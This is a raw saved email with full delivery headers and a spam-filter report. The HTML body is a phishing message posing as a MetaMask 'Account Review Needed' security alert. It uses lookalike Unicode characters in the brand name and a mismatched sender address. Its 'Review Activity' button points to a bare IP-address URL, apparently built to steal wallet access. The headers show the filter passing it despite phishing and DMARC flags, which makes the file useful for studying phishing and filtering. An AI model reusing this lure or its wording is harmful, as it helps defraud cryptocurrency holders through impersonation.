File: /home/edtir/mail/azaroflex.com/info/new/1752911434.M499668P4081.starfruit.7ho.st,S=7260,W=7390
Return-Path: <postmaster@7171599600.nxcli.io>
Delivered-To: info@azaroflex.com
Received: from starfruit.7ho.st
by starfruit.7ho.st with LMTP
id kFaTHEpOe2jxDwAAeMCD9A
(envelope-from <postmaster@7171599600.nxcli.io>)
for <info@azaroflex.com>; Sat, 19 Jul 2025 11:20:34 +0330
Return-path: <postmaster@7171599600.nxcli.io>
Envelope-to: info@azaroflex.com
Delivery-date: Sat, 19 Jul 2025 11:20:34 +0330
Received: from cloudhost-7856901.us-midwest-1.nxcli.net ([8.29.155.131]:24656)
by starfruit.7ho.st with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.96.2)
(envelope-from <postmaster@7171599600.nxcli.io>)
id 1ud2L7-0001UH-2s
for info@azaroflex.com;
Sat, 19 Jul 2025 11:20:34 +0330
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=7171599600.nxcli.io;
b=kvPcwBeHZl9V7VC2Qt1Wek2z73g1tG4EB04hL3UD1dKg+Wrmv4G41EftPKZ9P571JEzfOluhCJc4SP1o2MX2JIbuaKrNhak03jgkxJ0PT2zW2Ndg3kI3XEDvz2hcU90YEPweCJMtvufN0ESalvDY42eFFnhTMcbiYHsD+//ToxZWeAZ+8buVKZ97eOxYWL4Chc+jLWaKWSb5pcrxXMtw8UNExm6Uh+JHhCTuOQnJKirFTZ2+70uMF/WjtodsDhhobi8LbSvIiBBSRVkDE8l9FNIKNSs7FuituuMplejMXs/u6qCIXnJTaZoiErre7PAkLFGdPXoleHBuTsF45a4RTA==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority:List-Unsubscribe;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=7171599600.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type:list-unsubscribe; s=default; bh=QR94z+QpiM+gG3QYwq
zVyJz0U8o=; b=tk/TmzNPjdA1jMxY9C3JA3dBFhpxXjqaDo1IaYgTVd9c8YLM2X
68bsEsrkmWncvUKjQzCj/6PAJby6kisdnb+gxhzK/gggOp75g3sVxNRv/DeftITZ
ULPfTqIgtHBhuHmPah2MGptWHdA/N7t82WKStvDD2cl2VCIHXj/iVsIJk3RgxQyG
nWUyzyeeSxcbQk6StQukZ7p9aXAE3giluz3aKXCXqLmUUhONGMfEZ91l7hI40HHc
XkOCC7fEeoM8VThdmi+n+mNIJBcvN6+xZnjH0mUafoR0x/Sw5yQYUwUHSLUfqdbo
w3/8h4myRPAHUXXI0KXtzZbIRWqOe1MngKQg==
Received: (qmail 13019 invoked by uid 10133); 19 Jul 2025 07:49:50 +0000
Date: 19 Jul 2025 07:49:50 +0000
Message-ID: <20250719074950.13005.qmail@cloudhost-7856901.us-midwest-1.nxcli.net>
To: info@azaroflex.com
Subject: Security Notification
X-PHP-Originating-Script: 10133:zbi.php
From: "MetaMask" <wgieg7bz@rax.io>
Reply-To: wgieg7bz@rax.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
List-Unsubscribe: <mailto:unsubscribe@wgieg7bz@rax.io>
X-Spam-Status: No, score=4.1
X-Spam-Score: 41
X-Spam-Bar: ++++
X-Ham-Report: Spam detection software, running on the system "starfruit.7ho.st",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetаMаsk – Account Review Required Account Review Needed
We noticed a login to your account from a new location or device.
Content analysis details: (4.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: nxcli.io]
0.1 TVD_PH_SEC BODY: Message includes a phrase commonly used in
phishing mails
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.155.131 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[8.29.155.131 listed in sa-accredit.habeas.com]
0.0 IP_LINK_PLUS URI: Dotted-decimal IP address followed by CGI
0.0 NORMAL_HTTP_TO_IP URI: URI host has a public dotted-decimal IPv4
address
0.0 NUMERIC_HTTP_ADDR URI: Uses a numeric IP address in URL
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.0 HTML_MESSAGE BODY: HTML included in message
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of
words
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 UNICODE_OBFU_ASC Obfuscating text with unicode
3.0 KAM_DMARC_REJECT DKIM has Failed or SPF has failed on the
message and the domain has a DMARC reject
policy
X-Spam-Flag: NO
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>MetаMаsk – Account Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333;">
<table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#ffffff;border:1px solid #dddddd;border-radius:8px;">
<tr>
<td style="padding:28px 24px;text-align:center;">
<img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetаMаsk" width="48" style="margin-bottom:16px;" />
<h2 style="color:#f6851b;font-size:20px;margin-bottom:20px;font-weight:600;">Account Review Needed</h2>
<p style="font-size:16px;line-height:1.5;margin-bottom:16px;">
We noticed a login to your account from a new location or device.
</p>
<p style="font-size:16px;line-height:1.5;margin-bottom:24px;">
Please review this activity to ensure your account security. If this wasn’t you, please secure your wallet promptly.
</p>
<p style="margin:0;">
<a href="http://109.107.168.64/?id=1724243726820269027-5453" style="background:#f6851b;color:#ffffff;text-decoration:none;padding:12px 24px;border-radius:6px;font-weight:bold;font-size:16px;display:inline-block;">
Review Activity
</a>
</p>
<p style="font-size:12px;color:#777;margin-top:30px;line-height:1.4;">
If you recognize this activity, no further action is needed.<br />Thank you for helping keep your wallet safe.<br /><br />– MetаMаsk Security Team
</p>
</td>
</tr>
</table>
</body>
</html>